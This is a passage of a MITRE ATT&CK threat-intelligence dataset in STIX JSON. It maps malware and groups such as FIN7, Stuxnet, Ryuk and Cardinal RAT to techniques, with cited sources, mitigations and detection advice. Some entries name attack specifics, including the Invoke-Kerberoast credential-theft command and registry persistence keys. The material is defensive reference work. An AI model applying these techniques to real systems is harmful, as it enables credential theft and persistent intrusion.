"description": "[Fysbis](https://attack.mitre.org/software/S0410) has masqueraded as trusted software rsyncd and dbus-inotifier.(Citation: Fysbis Dr Web Analysis)", "relationship_type": "uses", "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dee2ef91-fe07-423a-8ad3-551c99b7a112", "created": "2024-04-10T20:07:52.997Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T20:07:52.997Z", "description": "[PACEMAKER](https://attack.mitre.org/software/S1109) can parse `/proc/\"process_name\"/cmdline` to look for the string `dswsd` within the command line.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--647215dd-29a6-4528-b354-ca8b5e08fca1", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--deec4c70-b8b5-420b-bdc7-88badae84456", "type": "relationship", "created": "2020-12-18T16:54:50.285Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Tetra Defense Sodinokibi March 2020", "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}], "modified": "2020-12-18T16:54:50.285Z", "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has staged and executed PowerShell scripts on compromised hosts.(Citation: Tetra Defense Sodinokibi March 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--def0dc1a-1c41-44f0-a076-36fb1b98390c", "created": "2022-07-18T20:06:22.310Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T19:04:08.871Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) employed a PowerShell script called RDPConnectionParser to read and filter the Windows event log \u201cMicrosoft-Windows-TerminalServices-RDPClient/Operational\u201d\n(Event ID 1024) to obtain network information from RDP connections. [Earth Lusca](https://attack.mitre.org/groups/G1006) has also used [netstat](https://attack.mitre.org/software/S0104) from a compromised system to obtain network connection information.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--def1a889-9341-4179-9d14-a5c10aa100b2", "type": "relationship", "created": "2022-03-24T11:46:08.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}], "modified": "2022-03-24T11:46:08.676Z", "description": "[DRATzarus](https://attack.mitre.org/software/S0694) can be partly encrypted with XOR.(Citation: ClearSky Lazarus Aug 2020)", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--def869f4-7564-4a09-8f49-59cb696b660d", "type": "relationship", "created": "2020-03-13T11:42:14.588Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T11:42:14.588Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--def89c4a-b394-4137-8a96-c794780352f2", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT KEYMARBLE Aug 2018", "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}], "modified": "2020-03-20T02:14:26.664Z", "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to delete files off the victim\u2019s machine.(Citation: US-CERT KEYMARBLE Aug 2018)", "relationship_type": "uses", "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df05fecd-1eee-4139-8090-794a3310b478", "type": "relationship", "created": "2019-01-30T16:39:54.280Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/", "source_name": "PaloAlto CardinalRat Apr 2017"}], "modified": "2019-06-10T18:25:51.487Z", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) establishes Persistence by setting the  <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load</code> Registry key to point to its executable.(Citation: PaloAlto CardinalRat Apr 2017)", "relationship_type": "uses", "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df0784ed-8411-4215-bebc-51c6ac3bf5df", "type": "relationship", "created": "2019-01-29T17:59:44.405Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", "source_name": "GDATA Zeus Panda June 2017"}], "modified": "2020-03-16T19:54:46.761Z", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can perform keylogging on the victim\u2019s machine by hooking the functions TranslateMessage and WM_KEYDOWN.(Citation: GDATA Zeus Panda June 2017)", "relationship_type": "uses", "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df0cfac5-fe50-4cc3-bc47-9a1d49c53e0a", "type": "relationship", "created": "2019-04-17T19:18:00.424Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Remexi Jan 2019", "url": "https://securelist.com/chafer-used-remexi-malware/89538/", "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}], "modified": "2019-04-22T20:18:07.039Z", "description": "[Remexi](https://attack.mitre.org/software/S0375) searches for files on the system. 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Retrieved March 17, 2021."}], "modified": "2021-03-25T15:34:04.469Z", "description": "[TA551](https://attack.mitre.org/groups/G0127) has used mshta.exe to execute malicious payloads.(Citation: Unit 42 TA551 Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df3548d1-800d-4d18-8566-3a5fe925a2ef", "type": "relationship", "created": "2021-03-30T18:26:25.083Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI RYUK RANSOMWARE", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", "description": "ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021."}], "modified": "2021-03-30T18:26:25.083Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) can create .dll files that actually contain a Rich Text File format document.(Citation: ANSSI RYUK RANSOMWARE)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df392629-4630-44a8-92a2-418b414a793b", "created": "2023-02-27T22:55:25.375Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-27T22:55:25.375Z", "description": "Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df3c2022-f649-45f5-a987-5ba7a766a058", "created": "2021-09-23T12:44:50.250Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN7 Apr 2022", "description": "Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.", "url": "https://www.mandiant.com/resources/evolution-of-fin7"}, {"source_name": "CrowdStrike Carbon Spider August 2021", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T18:10:49.063Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used Kerberoasting PowerShell commands such as, `Invoke-Kerberoast` for credential access and to enable lateral movement.(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df3c4e4d-9766-4673-ab1f-2210ecc50764", "created": "2020-12-14T17:34:58.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:15:30.247Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) can propagate via peer-to-peer communication and updates using RPC.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df3c6782-1a01-4627-9715-f2a10cf2c0d9", "created": "2024-03-21T21:23:26.792Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TCC macOS bypass", "description": "Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.", "url": "https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-15T21:15:22.735Z", "description": "Routinely check applications using Automation under Security & Privacy System Preferences. To reset permissions, user's can utilize the `tccutil reset` command. When using Mobile Device Management (MDM), review the list of enabled or disabled applications in the `MDMOverrides.plist` which overrides the TCC database.(Citation: TCC macOS bypass)", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df408868-c30e-4bf0-b42c-b115955b1595", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T21:55:00.250Z", "description": "Monitor for API calls that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. OS API calls associated with LSASS process dumping include EnumProcesses, which can be used to enumerate the set of processes running on a host and filtered to look for security-specific processes. \n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df448a33-e3b7-495e-98a7-ea1793d547d4", "created": "2022-10-19T15:45:32.107Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T15:45:32.107Z", "description": "Monitor the creation and modification of cloud resources that may be abused for persistence, such as functions and workflows monitoring cloud events.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df48ab06-0916-4d1d-9142-d0a508d0f0d4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}], "modified": "2020-03-17T00:10:53.865Z", "description": "[Kazuar](https://attack.mitre.org/software/S0265) stages command output and collected data in files before exfiltration.(Citation: Unit 42 Kazuar May 2017)", "relationship_type": "uses", "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df495b82-7bf4-4b1c-b72a-03dc1df07b7a", "type": "relationship", "created": "2020-03-12T21:00:53.808Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Executable Installers are Vulnerable", "url": "https://seclists.org/fulldisclosure/2015/Dec/34", "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}], "modified": "2020-09-16T19:10:04.418Z", "description": "Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>. Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.(Citation: Executable Installers are Vulnerable)", "relationship_type": "mitigates", "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", "target_ref": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df4b0683-e6a7-4da4-9544-c6eded007412", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.579Z", "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) checks for anti-malware products and processes.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df4b49f1-71ca-4744-8554-47bf36174d89", "type": "relationship", "created": "2017-05-31T21:33:27.056Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", "source_name": "FireEye Operation Double Tap"}], "modified": "2019-04-29T18:01:20.571Z", "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.(Citation: FireEye Operation Double Tap)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df4bb33c-a98d-4c02-a160-ce3cfd36f291", "created": "2022-09-30T19:38:18.685Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T19:39:00.268Z", "description": "[Misdat](https://attack.mitre.org/software/S0083) was typically packed using UPX.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df4d5d3b-67b7-4af5-adb3-ee83b5f44c5b", "created": "2024-03-28T15:43:16.766Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye TRITON 2019", "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T15:16:02.315Z", "description": "During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) modified and added entries within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code> to maintain persistence.(Citation: FireEye TRITON 2019)", "relationship_type": "uses", "source_ref": "campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca", "target_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df520c15-50fc-46cf-8559-368e88072aa7", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Bankshot Dec 2017", "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}], "modified": "2020-02-18T03:40:29.877Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) deletes all artifacts associated with the malware from the infected machine.(Citation: US-CERT Bankshot Dec 2017)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df529a76-525d-4a35-a9d2-48ec41f71459", "type": "relationship", "created": "2021-10-06T19:20:11.784Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-13T17:39:09.108Z", "description": "Use multi-factor authentication on remote service logons where possible.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df52b929-6b31-48da-a21f-70b799e730d3", "type": "relationship", "created": "2020-03-09T13:17:39.429Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/library/security/4053440", "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", "source_name": "Microsoft DDE Advisory Nov 2017"}, {"url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"}, {"url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b", "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", "source_name": "GitHub Disable DDEAUTO Oct 2017"}, {"url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", "source_name": "Microsoft ADV170021 Dec 2017"}], "modified": "2022-02-22T13:22:30.451Z", "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017)(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel.(Citation: Microsoft ADV170021 Dec 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": 